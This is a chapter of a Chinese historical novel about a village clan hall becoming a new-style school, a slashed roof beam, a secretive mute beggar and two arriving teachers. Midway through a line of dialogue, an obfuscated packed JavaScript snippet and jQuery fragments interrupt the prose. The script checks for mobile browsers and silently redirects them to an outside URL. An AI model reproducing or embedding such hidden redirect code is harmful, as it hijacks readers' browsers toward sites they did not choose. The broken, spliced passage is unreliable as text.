旧祠堂修缮的敲打声持续了整整十天。
每天清晨，那咚咚的闷响就准时响起，像一颗缓慢而坚定的心跳，回荡在青石镇的晨雾里。张静轩推开窗，能看见祠堂方向的屋脊上，工匠们的身影在秋日晴空下移动，瓦片被一块块揭起，又换上新的。
福伯从廊下经过，抬头看了看天色：“今儿是个好日子，上梁。”
按照青石镇的旧俗，房屋修缮到上梁这日，主家要备酒肉、撒喜钱，匠人们唱起上梁歌，邻里都来讨个彩头。张静轩匆匆吃了早饭，跟着父亲往祠堂去。张老太爷手里提着一只竹篮，里面装着红布包裹的铜钱和几封红纸包的喜银。
祠堂前的空地上已经聚了不少人。陈老秀才拄着拐杖站在最前头，仰脸看着工匠们在梁架上忙碌。卢明远也来了，今日换了身半旧的长衫，正和几个年轻人在说话，见张家父子来了，忙迎上来。
“张伯父，静轩弟。”
张老太爷点点头，将竹篮交给候在一旁的工头：“按老规矩办，图个吉利。”
日头升高时，主梁终于吊装到位。那是根两人合抱的柏木梁，刨得光滑，正中贴着一张红纸，上书“文星高照”四个大字。工头是个五十来岁的黑脸汉子，清了清嗓子，开口唱道：
“一根柏木出南山哎——鲁班弟子请下凡——”
粗犷的调子在秋阳下荡开，围观的镇民们跟着喝彩。工匠们将梁木稳稳落进榫卯，工头抓起一把铜钱，撒向人群。孩童们嬉笑着争抢，大人们也伸手去接，图个喜庆。
张静轩站在人群外围，目光却落在祠堂西厢那排刚刚修葺一新的窗棂上。窗纸还没糊，一个个方正的窗洞像眼睛，空洞地望着外面的世界。他想，不久后，这里就会有读书声，有粉笔在黑板上划过的声音，有少年人争论的声音。
“想什么呢？”
卢明远不知何时站到了他身边，递过来一块用油纸包着的米糕。“尝尝，王婆婆刚蒸的，说是贺学堂上梁。”
张静轩接过，米糕还温着，带着淡淡的桂花香。“卢大哥，”他咬了一口，含糊地问，“先生们什么时候到？”
“就这两天。”卢明远也望着西厢，“男先生姓程，是我师范学堂的同窗。女先生苏宛音……应该已经动身了。”
他的语气里有一丝不易察觉的停顿。张静轩侧头看了他一眼，发现卢明远耳根微微发红，忙低头装作吃糕。
上梁仪式结束，人群渐渐散去。张老太爷被陈老秀才等人围着，商量着开学典礼的事宜。张静轩独自绕到祠堂后面，那里原是一小片荒废的菜园，如今被平整出来，用石灰画出了几个方框——这是规划的操场。
张静轩已站在老槐树下。他手里握着那把湘竹弓，指尖反复摩挲着弓弦勒出的浅痕。自那日射偏一箭，这已是他第七个早晨站在这里。十五岁少年的倔强，像初春冻土下拼命顶出的草芽。
“手腕……再沉……三分。”
一个暗哑如破风箱的声音从墙根下传来。张静轩一惊，回头看见老哑头蹲在那儿，就着瓦罐喝水。那人头发脏乱纠结，脸上布满风霜刻下的乱纹，喉咙处一道暗红色的旧疤，像被什么勒过或烫过。
老哑头指了指自己的喉咙，摇摇头，又指指耳朵，点点头——那意思是能听不能说。他放下瓦罐，颤巍巍站起身，佝偻着走到张静轩身后。那双枯瘦如柴的手，竟稳稳托住了少年拉弓的腕。
张静轩感到那双手的温度——冰凉，却有力。他依言调整，弓弦缓缓拉满。
箭离弦的瞬间，老哑头喉咙里发出嗬嗬的声响，像赞许，又像叹息。箭簇擦着铜钱边掠过，“笃”一声钉进树干。
“偏了……寸许。”老哑头的声音沙哑得几乎辨不清字词，每个字都像从砂纸上磨出来，“但……架势……有了。”
他弯腰捡起瓦罐，动作迟缓，却有种奇异的稳定。张静轩忽然问：“您……会射箭？” 老哑头浑浊的眼睛动了动，咧开嘴，露出一口的黄牙。他喉咙里先发出嗬嗬的声音，像破风箱拉扯，尝试了几次，才挤出几个字：“年轻……时……摸过。”他顿了顿，用枯瘦的手指在空中虚划了一个弧度，“关外……林子大……弓要……硬。”
“您去过关外？”张静轩心头一动。
老哑头没回答，只是望着远处的青云山。晨光正从山脊后爬上来，将山岚染成淡淡的金红色。他看了很久，久到张静轩以为他不会说话了。
“有些地方……”他忽然开口，声音更低，更哑，像从很远的地方飘来，“去过了……就忘不掉。”
他弯腰从地上捡起一片落叶——是槐树的叶子，已经枯黄，叶脉清晰如掌纹。他用指甲在叶面上划了一道，叶子脆生生裂成两半。
“就像这叶子……”他抬起眼睛，那双浑浊的眼底，竟闪过一丝极锐利的光，快得让人以为是错觉，“看着完整……里头……早裂了。”
这话说得没头没脑。张静轩正要再问，老哑头却已经提起那只破瓦罐，蹒跚着走远了。他的背影在晨雾中佝偻成一团模糊的影子，只有脚步声——一步轻，一步重，像左腿有什么旧伤。
张静轩站在原地，手里还握着弓。他忽然想起父亲说过的话：“这世上有些人，身上背着咱们想象不到的故事。”
老槐树的叶子沙沙响着，又落下几片。张静轩抬头，看见那枚铜钱还在枝头晃荡，在晨光里泛着黯淡的、旧时代的颜色。
他重新搭箭，拉弦。
这一次，他没有急着瞄准。
晚饭时，他提起了老哑头。
张老太爷放下筷子，沉默良久，才道：“那人……我有点印象。大约是两年前来的镇上。那时他腿脚还利索，只是不说话，在码头扛过活。后来不知怎的，竟成了乞丐。”
“他说他去过关外。”
张夫人轻轻“啊”了一声：“那得是多少年前的事了……”
“光绪二十年，”张老太爷缓缓道，“到如今，整整四十三年了。”他看向儿子，语气低沉，“静轩，这世上有些人，身上背着咱们想象不到的故事。你遇见了，听听就好，莫要深究。”
张静轩点点头，可心里那点疑惑，却已如种子落土，悄然生根。
夜里，他躺在榻上，听见外头起风了。秋风吹过屋瓦，发出呜呜的声响，像某种低泣。他想起老哑头那双清亮的眼睛，想起他说“看着完整里头早裂了。”，想起大哥离家那夜，是不是也听过这样的风声？
迷迷糊糊睡去时，远处祠堂的方向，似乎又传来一声轻微的敲打——是工匠忘了工具，还是别的什么？
次日清晨，张静轩被一阵喧哗声吵醒。他披衣起身，推开窗，看见福伯匆匆从前院跑来，脸上带着罕见的慌张。
“怎么了福伯？”
“小少爷，祠堂……祠堂出事了！”
张静轩心头一紧，胡乱套上衣服就往外跑。赶到祠堂时，那里已经围了不少人。卢明远和陈老秀才都在，两人脸色都很难看。张老太爷背着手站在西厢屋檐下，仰头看着什么。
张静轩顺着父亲的目光看去，呼吸一滞——昨夜刚刚上好的那根柏木主梁，正中贴“文星高照”红纸的地方，被人用刀划了一道深深的刻痕。刻痕斜贯整个梁木，将“文星”二字劈开，触目惊心。
“这是……谁干的？”张静轩听见自己的声音发紧。
工头搓着手，满脸惶恐：“张老爷，卢先生，我们昨晚收工时还好好的！门窗都锁了，钥匙在我这儿……”他掏出一串铜钥匙，手在抖。
卢明远上前摸了摸那道刻痕，眉头紧锁：“是新痕，刀口还露着白茬，应该是后半夜的事。”他转向围观的镇民，“各位叔伯，昨夜可听见什么动静？”
人们面面相觑，摇头。秋夜风大，谁会在意祠堂这边的声响？
陈老秀才拄着拐杖的手在抖，不知是气还是怕：“造孽，造孽啊！这是冲撞了文曲星！这学堂……怕是不吉！”
“陈老莫急。”张老太爷终于开口，声音平静得让人意外。他走到梁下，仔细看了看那道刻痕，忽然说：“不是冲着文曲星来的。”
众人都看向他。
“你们看，”张老太爷指着刻痕的走向，“这一刀，是从左下向右上斜劈。若是要毁‘文星高照’四字，大可以横着划，或者乱砍。可这一刀——”他的手指在空中虚划，“干净利落，带着股劲儿。不像毁，倒像……留个记号。”
卢明远眼睛一亮：“张伯父的意思是，这是有人故意留下的警告？”
“警告什么？”有人问。
张老太爷没有回答，只是转身对工头说：“找块木板，把刻痕遮了。梁还是好梁，学堂照办。”
“可是张公……”陈老秀才还想说什么。
“陈老，”张老太爷打断他，目光扫过在场每一个人，“青石镇要办新学堂，这事已经传出去了。有人赞同，就有人反对。咱们若是被这一刀吓退，不正合了某些人的意？”
他的声音不高，却字字清晰，落在晨光微凉的空气里。张静轩看着父亲的侧脸，那平日里温和的眉眼此刻显出一种罕见的坚毅。他忽然想起那把榆木弓上的刻字：“守静笃，观复明”。守静不是退缩，观复是为了看清。
人群渐渐散去，工匠们开始找木板遮盖刻痕。张静轩留在最后，等人都走了，他独自走进西厢。晨光从窗洞照进来，在地上投出一个个方正的光斑。空气中飘着新木和石灰的气味，还有一丝若有若无的、铁锈般的腥气。
他在那道梁下站了很久，仰头看着被木板遮住的刻痕。忽然，眼角余光瞥见墙角有什么东西一闪。在一片灰白碎屑中，一点暗红刺入眼帘——是片边缘锋利的陶片，像是随着那一刀劈砍，从某种器物上崩落下来的。
张静轩捡起碎片，对着光仔细看。碎片边缘锋利，颜色暗红如凝血，表面有隐约的纹路，但看不真切。他将碎片揣进怀里，走出祠堂时，太阳已经完全升起来了，青石板路上光影分明。
回家的路上，他遇见老哑头。老人正蹲在街角，面前摆着个破碗。看见张静轩，他浑浊的眼睛动了动，忽然伸手指了指祠堂的方向，又指了指自己的胸口，摇了摇头。
“您是说……祠堂的事，和您无关？”张静轩试探着问。
老哑头点头，然后伸出三根手指。
“三个人？”
摇头。老哑头又做了个握刀劈砍的动作，然后三根手指在眼前晃了晃。
张静轩心头一跳：“您是说……这是第三回了？以前也发生过？”
老哑头深深看了他一眼，那眼神浑浊深处，似有极微弱的火星一闪，像隔着一层厚冰望向篝火。他收回手指，重新低下头，脖颈处的旧疤在阳光下显得愈发暗红刺目。
只是这一次，他木然垂首的姿势里，似乎透着一丝极难察觉的僵直，仿佛在压抑着什么。张静轩再问，他便只是摇头，喉咙里发出嗬嗬的含混声响，像个真正的哑巴。但少年转身离开时，分明感到背上落着两道目光，沉甸甸的，一直目送他走出巷口。
午饭时，张静轩把碎片和早上的事说了。张老太爷接过那片暗红色的碎片，在指尖捻了捻，又凑到鼻尖闻了闻，脸色渐渐凝重。
“这是陶片，”他说，“但釉色不对。寻常陶器是土黄或青灰，这红色……像是加了朱砂。”
“朱砂？”张夫人放下筷子，“那不是道士画符用的吗？”
张老太爷没有接话，只是将碎片收进袖中：“静轩，这事你别再管了。好好准备入学的事。”
“可是爹，老哑头说这是第三回了。以前还有过两次？”
张老太爷沉默了很久，久到张静轩以为他又不会回答了。但这次，他开了口，声音压得很低：“十年前，镇东头李家办私塾，请了个新派先生，教算学和格致。开学前夜，先生住的厢房门上，被人用刀刻了个‘止’字。”
张静轩屏住呼吸。
“五年前，陈老秀才想重修文峰塔，募捐的册子刚做好，就被人偷了，扔在青云河里。”张老太爷的目光有些悠远，“这两件事，镇上人都说是巧合。可如今……”
他没有说下去，但意思已经明了。有人，或者有一股力量，在暗中阻挠青石镇的改变。无论是新式教育，还是复兴文风，都在被打压之列。
“为什么要这样？”张静轩不解，“办学堂是好事啊。”
“对有些人来说，不是。”张老太爷站起身，走到窗前，“静轩，你要明白，这世上的事，不是非黑即白。有人希望百姓开智，就有人希望百姓愚昧。有人盼着世道变新，就有人巴不得一切照旧。这青石镇看似平静，底下也是有暗流的。这个老哑头不过来青石镇不过两年，这些事他居然知道的也这么清晰。”
窗外，秋日的阳光明晃晃的，照得庭院里那几盆菊花金黄灿烂。可张静轩却感到一丝寒意，从脚底慢慢爬上来。
下午，他照例去后院练箭。那把榆木弓握在手里，比往日更沉了。他搭箭，拉弦，瞄准老槐树上新悬的一枚铜钱——这是他自己挂的，比之前那枚小一圈。
弓弦拉到一半，他忽然停了。
眼前闪过梁上那道刻痕，闪过暗红色的陶片，闪过老哑头伸出的三根手指。这些碎片在脑海里旋转，拼凑不出完整的图案，却隐隐指向某个他不了解的、青石镇的另一面。
“手腕松了。”
张静轩一惊，回头看见卢明远站在月洞门下，手里提着个布包。
“卢大哥？你怎么……”张静轩并未因对方年长且见识广而露怯，反而将怀中那本《泰西工艺初探》抱得更紧了些，抬眼迎上卢明远的目光。卢明远见状，脸上公式化的笑意淡去，换上一丝真正的兴趣。
“来找你爹商量开学典礼的事，顺道过来看看。”卢明远走近，接过他手里的弓，掂了掂，“好弓。你爹给的？”
张静轩点头。
卢明远拉了拉弓弦，试了试力道：“守静笃，观复明……你爹对你期望很高。”他将弓递还，从布包里取出一本书，“这个，给你。”
那是一本《新青年》杂志，封面已经卷边，显然是翻阅过很多次的。张静轩接过，翻开扉页，上面用钢笔写着一段话：“青年如初春，如朝日，如百卉之萌动，如利刃之新发于硎。——□□”
“这是去年我在省城买的，”卢明远说，“如今不太容易见到了。里头有些文章，你看了或许会有启发。”
张静轩小心地捧着杂志，像捧着一簇火苗。“卢大哥，早上的事……你怎么看？”
卢明远在石凳上坐下，摸出烟卷，想了想又放回去。“有人不想让学堂办成，”他直截了当，“但手段不算狠。若是真下黑手，放把火就是了，何必划一道痕？”
“你是说……这只是警告？”
“试探。”卢明远纠正道，“看看咱们的决心有多大，看看镇上的人心向着哪边。”他看向张静轩，“静轩弟，你记住，变革从来不是请客吃饭。即便是在青石镇这样的小地方，新东西要扎下根，也得破开旧土——而旧土，总是硬的。”
这话让张静轩想起老哑头说的“外头这世道是会咬人的”。他忽然问：“卢大哥，你在省城，见过更大的世面。外头的世界……真的那么乱吗？”
卢明远没有立刻回答。他抬起头，看着老槐树枝叶间漏下的天光，那些光斑在他脸上明明灭灭。“乱，”他终于说，“但也新。静轩，你听说过‘德先生’和‘赛先生’吗？”
张静轩摇头。
“德先生是民主，赛先生是科学。”卢明远的声音里有一种年轻人特有的热切，“外头有人在喊，要请这两位先生来救中华民国。有人说这是痴人说梦，有人说这是唯一的出路。”他顿了顿，“而青石镇的这所学堂，就是咱们请‘赛先生’进来的第一步。”
“那德先生呢？”
卢明远笑了，笑容有些复杂：“饭要一口一口吃，路要一步一步走。先学科学，明事理，再谈其他。”
两人又说了会儿话，卢明远便告辞了。张静轩独自坐在后院，翻看那本《新青年》。文章里的句子像火种，烫着他的眼睛：“伦理的觉悟，为吾人最后觉悟之最后觉悟。”“我们现在认定只有这两位先生，可以救治中华民国政治上道德上学术上思想上一切的黑暗。”
太阳西斜时，福伯来叫他吃晚饭。张静轩合上杂志，忽然问：“福伯，您知道镇上有什么人……特别反对新事物吗？比如，特别守旧的那种？”
福伯正在收拾石凳上的箭矢，闻言手顿了顿：“小少爷怎么问这个？”
“随便问问。”
老管家直起身，叹了口气：“要说守旧，陈老秀才算一个，但他那是读书人的固执，心眼不坏。真正……”他压低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140645|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音，“真正要留神的，是那些不说话、只做事的人。”
“比如？”
福伯摇摇头，不肯再说，只催促：“快去吃饭吧，老爷夫人等着呢。”
晚饭后，张静轩回到自己房间，点亮油灯，将那片暗红色的陶片放在桌上，旁边摊开《新青年》。一古一今，一旧一新，在昏黄的灯光下静静对峙。
他拿起陶片，对着灯光仔细看。这一次，他发现了之前没注意的细节：碎片内壁有一道极浅的刻痕，像是某种符号的一角。他用指尖描摹那痕迹，忽然想起什么，从书柜底层翻出一本《金石索隐》——这是大哥留下的书，里头收录了许多古器物上的纹样。
翻到记载符咒纹样的一章，他举着陶片一一比对。终于，在某一页的角落里，他找到了相似的图案：那是一个变体的“禁”字，常用于道教镇物。
张静轩的心跳加快了。他想起母亲说的“道士画符用的朱砂”，想起梁上那道凌厉的刻痕。这不是简单的恶作剧或警告，而是带着某种仪式感的阻挠。
窗外传来打更声，二更天了。张静轩吹熄灯，躺在黑暗里，陶片紧紧攥在掌心，硌得生疼。
半夜里，他忽然惊醒。不是被声音吵醒，而是某种直觉——像野兽感知到危险的本能。他轻手轻脚起身，走到窗边，掀开一条缝。
月光很好，照得庭院一片银白。院墙的阴影里，似乎有什么东西动了一下。张静轩屏住呼吸，睁大眼睛。
一个黑影从墙根闪过，动作快得不像老人……月光照亮那人侧身探查檐下阴影的瞬间，张静轩看见了一张紧绷的侧脸------花白的头发，身形依旧佝偻，但那双眼睛在黑暗里锐利如刀，正飞速扫过庭院的每个角落，窗下、门边、老槐树的枝桠间。
老哑头……
他半夜潜入，绝非乞讨。
……
只见老哑头在庭院中央略作停顿，并未做任何奇怪手势。他极快地蹲下身，用手指拂过青砖缝隙，又凑近嗅了嗅，像是在检查有无异常气味或痕迹。随后，他抬头，目光如电，径直投向张静轩房间的窗户——张静轩猛地缩回窗后，心口狂跳。
待他再悄悄望去时，那黑影已如来时一般，狸猫似的翻过墙头，消失在沉沉的夜色里，只留下庭院中一片被惊动的月光，碎银般晃动着。张静轩这才发觉，自己掌心已被那断陶片的棱角硌出了深印。
张静轩在窗边站了很久，直到夜风吹得他手脚冰凉。掌心那片陶片，不知何时已被汗水浸湿。
第二天，镇上传来消息：新请的先生们到了。
张静轩跟着父亲去镇公所时，远远就听见里头传来的谈笑声。跨进门槛，他第一眼看见的是个穿灰布长衫的青年，戴一副圆框眼镜，正和陈老秀才说着什么，语速很快，手势丰富。这应该就是程先生了。
而站在窗边的女子——
张静轩呼吸一滞。
她穿着一身月白色的斜襟上衣，黑色百褶裙，剪着齐耳的短发，发梢微微内扣。年纪约莫二十出头，眉眼清秀，但最引人注目的是那双眼睛：沉静，明亮，像秋日深潭，映着窗外的天光。她手里拿着一本书，正低声和卢明远交谈，听见脚步声，转头看来。
那一瞬间，张静轩忽然明白了卢明远昨日耳根发红的原因。
“张伯父，”卢明远迎上来，脸上带着笑，“这位是程秋实先生，这位是苏宛音先生。”
程秋实上前一步，恭敬行礼：“张老先生，久仰。”他的普通话带着明显的江浙口音，但字正腔圆。
苏宛音也走过来，行礼的姿势很特别，不是万福，而是微微躬身，带着一种书卷气的清傲。最引人注目的是她腕上一只褪色的银镯，花纹古拙，不似凡品：“张老先生好。”她的声音清越，像玉磬轻击。
张老太爷还礼：“二位先生远道而来，辛苦了。寒舍已备下薄酒，为二位接风。”
一行人往张家走时，张静轩故意落在后面。他看见苏宛音走路的姿态——脊背挺直，脚步轻快，裙裾随着步伐微微摆动，既不失女子的柔美，又有一种读书人特有的端方。
“那就是张老太爷的小儿子？”他听见程秋实低声问卢明远。
“对，静轩。很聪慧，就是……”卢明远顿了顿，“被保护得太好了。”
苏宛音忽然回头，正好对上张静轩的目光。她微微一笑，那笑容很浅，却像春风拂过冰面，瞬间让张静轩手足无措，慌忙低下头。
接风宴设在后院的花厅。张夫人亲自下厨，做了几道本地特色菜。席间，程秋实话最多，从省城见闻到教育理念，滔滔不绝。苏宛音话少，但每每开口，都能切中要害。
“青石镇的情况，明远大致跟我们说了。”苏宛音放下筷子，“关于女班，我有一个请求。”
“苏先生请讲。”张老太爷道。
“我希望女班不仅教识字算学，也教一些实用的技能。”她的目光清澈而坚定，“比如基础护理、缝纫裁剪，甚至简单的记账。女子学了这些，无论将来是持家还是谋生，都有用处。”
陈老秀才也在座，闻言皱眉：“女子学记账……是否太过？”
“陈老先生，”苏宛音转向他，语气温和但不退让，“如今城里许多商铺、工厂都开始雇女账房。女子心细，做事稳妥，为何不能学？”
“可那些都是抛头露面的……”
“持家就不需要记账吗？”苏宛音反问，“一家一户的收支用度，若是主妇能算得清楚，日子岂不更稳当？”
陈老秀才还要说什么，张老太爷抬手止住：“苏先生说得在理。课程安排，全凭二位先生做主。”
程秋实笑道：“张老先生开明。”他转向张静轩，“静轩同学，听说你也报名了？可有什么想学的？”
所有人的目光都投过来。张静轩感到耳根发热，憋了半天，说出一句：“想学……格致。想知道电灯为什么会亮，火车为什么会跑。”
程秋实眼睛一亮：“好！这才是少年人该有的好奇心！”
苏宛音也看着他，眼里有赞许的笑意：“格致课我会协助程先生。我们带了些简单的实验器具，虽然简陋，但足够做些有趣的演示。”
宴席散后，张静轩送两位先生去暂住的客房——那是镇公所旁的一处小院，已经收拾干净。月光下，苏宛音忽然叫住他：“张同学。”
“苏先生？”
“我听明远说了祠堂梁上的事。”她的声音在夜色里格外清晰，“你不怕吗？”
张静轩一愣，没想到她会问这个。“有点，”他老实说，“但更多的是……不明白。为什么要阻止办学堂呢？”
苏宛音沉默片刻，轻声道：“因为改变总是让人恐惧。对某些人来说，未知的新世界，比熟悉的旧日子更可怕。”她抬头看向星空，“我父亲在世时常说，中华民国要变，最难的不是改制度，是改人心。”
“您父亲……”
“他是维新党人，戊戌年之后，一直郁郁。”苏宛音的语气很平静，像在说别人的事，“他临死前对我说，宛音，若有机会，去教书。一个先生能教出的，不止是一个学生，是一颗种子。种子会发芽，会开花，会结果。”
她说完，微微一笑：“早些休息吧。三天后开学，我可是很严格的。”
张静轩看着她走进院门的背影，月白的衣衫在夜色里像一抹清辉。他忽然想起《新青年》里的一句话：“青年之字典，无‘困难’之字；青年之口头，无‘障碍’之语。”
回到自己房间，他将那片陶片和《新青年》放在一起，又拿出那把榆木弓，指尖摩挲着“守静笃，观复明”六个字。
窗外，秋虫啁啾。更夫的梆子声从远处传来，三更了。
三天后，青石镇的新式学堂，就要开学了。
这三天里，青石镇悄然变化着。程秋实和苏宛音先生已安顿在镇公所旁的小院。
苏先生话不多，常独自在祠堂内外走动，手指拂过新漆的门窗，眼神沉静；程先生则活力十足，拉着卢明远走街串巷，拜访有望送孩子入学的人家，逢人便讲新学的好处。
张老太爷又往祠堂运去了两车新打的桌椅，福伯带着伙计们清扫整理，直至夜深。
镇上的孩子们路过时，总要扒着门缝好奇地望一望——那空荡荡的堂屋，很快就要被他们的读书声填满了。